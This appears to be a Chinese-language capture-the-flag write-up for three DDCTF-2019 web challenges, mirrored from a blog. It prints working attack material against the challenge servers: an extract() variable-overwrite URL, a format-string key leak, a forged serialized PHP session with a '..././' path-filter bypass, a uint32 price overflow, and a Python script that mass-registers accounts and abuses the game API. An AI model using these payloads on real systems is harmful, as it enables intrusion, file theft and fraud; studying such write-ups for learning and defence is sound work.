zoukankan      html  css  js  c++  java
  • DDCTF-2019

    Web 滴

    Web 签到题

    Web 大吉大利,今晚吃鸡

    1)滴

    网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

    参数两次base64解码一次ascii解码得到flag.php

    观察只有flag.php才显示图片,尝试把index.php按规则编码获取到index的源码

    <?php
    /*
     * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
     * Date: July 4,2018
     */
    error_reporting(E_ALL || ~E_NOTICE);
     
    header('content-type:text/html;charset=utf-8');
    if(! isset($_GET['jpg']))
        header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
    $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
    echo '<title>'.$_GET['jpg'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo $file.'</br>';
    $file = str_replace("config","!", $file);
    echo $file.'</br>';
    $txt = base64_encode(file_get_contents($file));
     
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
    /*
     * Can you find the flag file?
     *
     */
    ?>

    访问网址,发现出题人的博客,代码注释里日期2018.7.4找到对应日期的博客

    猜测存在vim异常退出留下的文件,尝试访问博客中文件名practice.txt.swp

    http://117.51.150.246/practice.txt.swp

    得到的线索f1ag!ddctf.php

    在开始页面编码f1ag!ddctf.php尝试读取,其中根据上面得到的源码 ‘!’ 被过滤,用config代替

    得到源码

    <?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
        $content=trim(file_get_contents($k));
        if($uid==$content)
        {
            echo $flag;
        }
        else
        {
            echo'hello';
        }
    }
    ?>

    其中存在extract覆盖漏洞,直接访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=

    得到flag

    2)WEB签到题

    进入之后无法访问,查看网络传输信息,找到post请求网址为Auth.php猜测为验证登录

    尝试ddctf_username=admin发包成功进入,提示请访问:app/fL2XID2i0Cdh.php

    访问页面查看到app/Application.php和app/Session.php源码

     1 url:app/Application.php
     2 
     3 
     4 Class Application {
     5     var $path = '';
     6 
     7 
     8     public function response($data, $errMsg = 'success') {
     9         $ret = ['errMsg' => $errMsg,
    10             'data' => $data];
    11         $ret = json_encode($ret);
    12         header('Content-type: application/json');
    13         echo $ret;
    14 
    15     }
    16 
    17     public function auth() {
    18         $DIDICTF_ADMIN = 'admin';
    19         if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
    20             $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
    21             return TRUE;
    22         }else{
    23             $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
    24             exit();
    25         }
    26 
    27     }
    28     private function sanitizepath($path) {
    29     $path = trim($path);
    30     $path=str_replace('../','',$path);
    31     $path=str_replace('..\','',$path);
    32     return $path;
    33 }
    34 
    35 public function __destruct() {
    36     if(empty($this->path)) {
    37         exit();
    38     }else{
    39         $path = $this->sanitizepath($this->path);
    40         if(strlen($path) !== 18) {
    41             exit();
    42         }
    43         $this->response($data=file_get_contents($path),'Congratulations');
    44     }
    45     exit();
    46 }
    47 }

    其中看到Application类中的path参数在魔术方法__destruct()中被调用,并对path进行了一些限制

    其中还有危险函数file_get_contents可能用于读取目的文件

    猜测可能存在反序列化漏洞

      1 url:app/Session.php
      2 
      3 
      4 
      5 include 'Application.php';
      6 class Session extends Application {
      7 
      8     //key建议为8位字符串
      9     var $eancrykey                  = '';
     10     var $cookie_expiration            = 7200;
     11     var $cookie_name                = 'ddctf_id';
     12     var $cookie_path                = '';
     13     var $cookie_domain                = '';
     14     var $cookie_secure                = FALSE;
     15     var $activity                   = "DiDiCTF";
     16 
     17 
     18     public function index()
     19     {
     20     if(parent::auth()) {
     21             $this->get_key();
     22             if($this->session_read()) {
     23                 $data = 'DiDI Welcome you %s';
     24                 $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
     25                 parent::response($data,'sucess');
     26             }else{
     27                 $this->session_create();
     28                 $data = 'DiDI Welcome you';
     29                 parent::response($data,'sucess');
     30             }
     31         }
     32 
     33     }
     34 
     35     private function get_key() {
     36         //eancrykey  and flag under the folder
     37         $this->eancrykey =  file_get_contents('../config/key.txt');
     38     }
     39 
     40     public function session_read() {
     41         if(empty($_COOKIE)) {
     42         return FALSE;
     43         }
     44 
     45         $session = $_COOKIE[$this->cookie_name];
     46         if(!isset($session)) {
     47             parent::response("session not found",'error');
     48             return FALSE;
     49         }
     50         $hash = substr($session,strlen($session)-32);
     51         $session = substr($session,0,strlen($session)-32);
     52 
     53         if($hash !== md5($this->eancrykey.$session)) {
     54             parent::response("the cookie data not match",'error');
     55             return FALSE;
     56         }
     57         $session = unserialize($session);
     58 
     59 
     60         if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
     61             return FALSE;
     62         }
     63 
     64         if(!empty($_POST["nickname"])) {
     65             $arr = array($_POST["nickname"],$this->eancrykey);
     66             $data = "Welcome my friend %s";
     67             foreach ($arr as $k => $v) {
     68                 $data = sprintf($data,$v);
     69             }
     70             parent::response($data,"Welcome");
     71         }
     72 
     73         if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
     74             parent::response('the ip addree not match'.'error');
     75             return FALSE;
     76         }
     77         if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
     78             parent::response('the user agent not match','error');
     79             return FALSE;
     80         }
     81         return TRUE;
     82 
     83     }
     84 
     85     private function session_create() {
     86         $sessionid = '';
     87         while(strlen($sessionid) < 32) {
     88             $sessionid .= mt_rand(0,mt_getrandmax());
     89         }
     90 
     91         $userdata = array(
     92             'session_id' => md5(uniqid($sessionid,TRUE)),
     93             'ip_address' => $_SERVER['REMOTE_ADDR'],
     94             'user_agent' => $_SERVER['HTTP_USER_AGENT'],
     95             'user_data' => '',
     96         );
     97 
     98         $cookiedata = serialize($userdata);
     99         $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    100         $expire = $this->cookie_expiration + time();
    101         setcookie(
    102             $this->cookie_name,
    103             $cookiedata,
    104             $expire,
    105             $this->cookie_path,
    106             $this->cookie_domain,
    107             $this->cookie_secure
    108             );
    109 
    110     }
    111 }
    112 
    113 
    114 $ddctf = new Session();
    115 $ddctf->index();

    57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞

    那么就是要构造session并调用Application类赋给path值读取flag文件

    35行 提示flag所在路径,猜测'../config/flag.txt'

        private function get_key() {
            //eancrykey  and flag under the folder
            $this->eancrykey =  file_get_contents('../config/key.txt');
        }

    构造的session会经过一些验证,其中主要构造验证hash值

    其验证方式为session[-32:] = md5(eancrykey+session[:-32])

    即session的后32位是eancrykey与前面所有字符串拼接后的md5值

    接下来就是找eancrykey的具体值,注意到 64行

     if(!empty($_POST["nickname"])) {
                $arr = array($_POST["nickname"],$this->eancrykey);
                $data = "Welcome my friend %s";
                foreach ($arr as $k => $v) {
                    $data = sprintf($data,$v);
                }
                parent::response($data,"Welcome");
            }

    熟悉pwn的话容易看出这里存在格式化字符串漏洞

    我们令nickname=%s 然后post

    成功打印了eancrykey的值:EzBlrbNS

    之后开始构造session,urldecode一下原来的session

    再经过反序列化之后添加一个Application类,其中path处限制长度18

    并且会把../过滤掉,构造'..././config/flag.txt'恰好满足长度

    <?php
     class Application{
         var $path='..././config/flag.txt';
     }
        
        $a = new Application();
    
    $arr = array (
      'session_id' => '063e9d131dd8777edc6e3e6c87dcac56',
      'ip_address' => 'x.x.x.x',
      'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
      'user_data' => '',
      'payload' => $a,
    );
    
    $test = serialize($arr);
    $eancrykey= 'EzblrbNS';
    $hash = md5($eancrykey.$test); 
    echo $test.$hash;
    ?>

    得到

    a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4

    经过urlencode提交得到flag

    3)大吉大利,今晚吃鸡~

    注册登录,显示用户余额100,需要200购买入场卷,直接购买,支付显示余额不足

    查看cookie,发现为REVEL_SESSION,推测后台使用golang编写

    猜测存在数据溢出,查看go数据类型范围

    尝试之后发现为uint32类型,抓包修改金额为4294967296,支付,成功购买

    之后需要移除99个对手,注册一个新号同样操作之后填入id与ticket,显示成功移除一名机器人

    之后目的就明确了,写脚本注册购买并将id和ticket填入即可

    另外,注册页面存在越权漏洞,注册一个帐号,不管是否注册成功都会返回其cookie可用其登录

    脚本如下,网上其他师傅的改了一点,学习了

     1 import requests
     2 import time
     3 
     4 users={}
     5 
     6 def register(name,pwd='aaaaaaaa'):
     7     url='http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' %(name,pwd)
     8     requests.adapters.DEFAULT_RETRIES = 5
     9     re=requests.get(url=url)
    10     re.keep_alive = False
    11     cookies=re.cookies.get_dict()
    12     users[cookies['user_name']]=cookies['REVEL_SESSION']
    13     print cookies['user_name'],cookies['REVEL_SESSION']
    14     return cookies['user_name'],cookies['REVEL_SESSION']
    15 
    16 def buyticket(name,session):
    17     url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
    18     header={
    19         'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
    20     }
    21     re=requests.get(url=url,headers=header)
    22     bill_id = re.json()['data'][0]['bill_id']
    23     print bill_id
    24     payticket(bill_id,name,session)
    25     
    26 
    27 def payticket(bill_id,name,session):
    28     url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
    29     header={
    30         'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session)
    31     }
    32     re=requests.get(url=url,headers=header)
    33     my_id=re.json()["data"][0]["your_id"]
    34     my_ticket=re.json()["data"][0]["your_ticket"]
    35     getflag(my_id,my_ticket)
    36 
    37 def getflag(id,ticket):
    38     url='http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s' %(id,ticket)
    39     header={
    40         'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(MainUser,MainSession)
    41     }
    42     re=requests.get(url=url,headers=header)
    43     print re.text
    44 
    45 
    46 if __name__=="__main__":
    47     MainUser,MainSession=register('MainUser0002')
    48     buyticket(MainUser,MainSession)
    49     time.sleep(1.1)
    50     for i in range(200,205):
    51         register('AttachUrr%s' %(i))
    52         time.sleep(0.6)
    53     for j in users:
    54         if j!=MainUser:
    55             buyticket(j,users[j])
    56             time.sleep(0.6)
  • 相关阅读:
    Java自学第十天
    Java自学第九天
    Java自学第八天
    Java自学第七天
    Java自学第六天
    Java自学第五天
    Java自学第四天
    Java自学第三天
    Oracle11g RAC单节点重启
    PostgreSQL 日志处理
  • 原文地址:https://www.cnblogs.com/Aiden-/p/10765850.html
Copyright © 2011-2022 走看看